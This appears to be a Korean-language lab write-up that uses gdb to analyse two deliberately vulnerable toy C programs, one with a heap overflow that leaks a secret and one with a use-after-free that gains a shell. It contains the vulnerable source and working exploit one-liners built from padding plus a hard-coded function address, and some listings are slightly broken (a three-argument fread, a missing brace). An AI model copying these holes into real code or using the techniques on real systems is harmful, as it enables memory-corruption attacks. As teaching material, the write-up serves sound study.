Self-Improvement

Heap OverFlow, Use After Free(UAF) gdb 분석 본문

리버싱 기초

Heap OverFlow, Use After Free(UAF) gdb 분석

JoGeun 2020. 5. 15. 11:04

소스코드 출처 : https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/


Heap OverFlow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
 
int main(void)
{
    FILE* fd = fopen("secret","r");
    char* input = malloc(40);
    char* secret = malloc(40);
 
    fread(secret, 140, fd);
    fclose(fd);
 
    read(0, input, 100);  // Overflow!
    printf("%s\n", input);
}
cs

소스코드는 간단히 설명하자면 input, secret을 malloc로 40바이트씩 동적메모리할당을 해주고 secret 파일 내요을 secret 동적 메모리에 복사? 할당해주고 input 입력 값 100바이트(여기서 오버플로우가 발생)을 읽은 후 출력한다.

소스코드를 컴파일 후 그냥 실행해본다.

 

gdb로 분석을 하기전 secret 파일의 내용은 " This is secret Messages!"로 저장하고 시작한다.

 

read() 함수를 호출 부분에서 BP를 걸어주고 "AAAAAAAAAA" 입력으로 진행해준다.

heap 공간을 확인해본다.

첫 Chunk 0x804b008는 secret 파일 내용을 읽어온 fd에 해당한다.

0x804b168 Chunk는 입력을 받는 input 이며 read()함수에 의해 "AAAAAAAAAA"과 0x0a(Enter)도 함께 들어가있다.

0x804b198은 secret 파일 내용을 읽은 후 할당받은 secret 영역이다.

 

코드의 마지막 printf()으로 인해 input 데이터 "AAAAAAAAA"을 출력하고 종료된다.

데이터를 출력할때는 0x00인 NULL을 만날때까지의 문자열을 출력하게 되며 read() 함수로100바이트를 받고 있으니 input의 힙공간을 "This is Secert Messages!" 문자열전까지 가득 채우면 출력을 할 수 있게 된다.

 

input의 힙공간을 자세히 알아본다.

Chunk는 Prev_size, size, data로 이루어져 있으며 0x31은 secret 영역의 사이즈 주소를 말한다.

그리고 그 뒤에는 "This is Secret Messages!" 문자열이존재하게 된다.

 

그리하여 input을 입력받을때 OverFlow을 발생시켜 secret의 사이즈를 나타내는 값까지 넣으면 될 것이다.

총 48바이트를 채워야 함으로 "A"를 47개 + 0x0a로 입력값을 주면 된다.

# (python -c 'print "A"*47';cat)|./heap3


Use After Free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
typedef struct {
    char name[32];
    void (*print)(void*);
} test;
 
typedef struct {
    char name[128];
string;
 
void printName(test *t) {
    printf("%s\n", t->name);
}
 
void shell() {
    setreuid(00);
    printf("This is shell!! You know UAF vuln!\n");
    system("/bin/sh");
}
 
int main() {
    test* t1;
    string *s1;
    t1 = malloc(256);
 
    strcpy(t1->name, "Hello World");
    t1->print = (void*)printName;
 
    t1->print(t1);
 
    free(t1);
 
    s1 = malloc(256);
 
    scanf("%128s", s1->name);
    t1->print(s1);
    return 0;
}
cs

간단히 UAF란 A를 30바이트 동적할당 해준 뒤 Free()로 해제해주고 다시 동일한 B를 30바이트 크기로 동적할당 해주면 Free()한 A 주소에 할당이되어 남아있는 데이터를 재사용할 수 있는 취약점이다.

 

소스코드는 간단히 t1을 256바이트 크기로 동적할당 해준 뒤 "Hello World" 문자열을 넣어주고 출력해준다.

이때 포인터함수를 사용하고 있는 것을 잘 봐둬야한다.

t1을 free()로 해제한 후 동일한 크기 256바이트를 가진 s1을 동적할당 해주고 입력값 받고 출력을 해주는 방식이다.

 

소스코드만 보았을땐 t1 힙공간에는 printName() 함수의 주소가 저장되어있을 것이며 이 주소를 호출?하면서 출력이 이루어질 것이다. 이때 t1을 free()하고 s1을 재할당해도 같은 주소에 매핑이 될것이며 printName() 함수 주소도 남아있을 것이다. 이 printName()함수 주소를 shell()함수 주소로 변경하면 shell을 얻을 수 있을 것이다.

 

gdb로 실행한 후 확인해본다.

 

"Hello World" 문자열을 출력하는 부분에서 BP를 걸어놓고 실행하여 Chunk를 확인해본다.

위에서 말했듯 포인터함수를 사용하고 있음으로 이부분은 main+81에 해당할 수 있다.

이유는 malloc() 함수의 반환값 즉 힙메모리 데이터영역 주소는 eax에 할당되며 <main+72>에서 eax+0x20를 eax에 할당한 후 <main+81>에서 호출하고 있는것으로 보아 짐작할 수 있다.

 

0x804b008에 "Hello World" 문자열이 존재하는 걸 알 수 있으며 위에 썼듯이 eax+0x20 즉 0x804b008+0x20 위치에 printName() 함수를 호출하는 주소가 존재할 것이다.

 

0x804b008+0x20 값은 0x804852b로 존재하고 있다.

직접 확인하면 같은 주소라는 걸 확인할 수 있다.

 

이제 이 주소를 shell 주소로 변경하면 된다!

shell 함수의 주소는 0x8048543이다.

 

이제 t1을 free해주고 s1을 할당해주게 되며 동일한 주소에 매핑이 이루어질 것이다. (힙의 특성으로 인해)

그리고 scanf()함수에 의해 값을 입력할때 "A"를 32개랑 shell 주소를 입력해주면 shell을 획득할 것이다.

# (python -c 'print "A"*32+"\x43\x85\x04\x08"')|./uaf3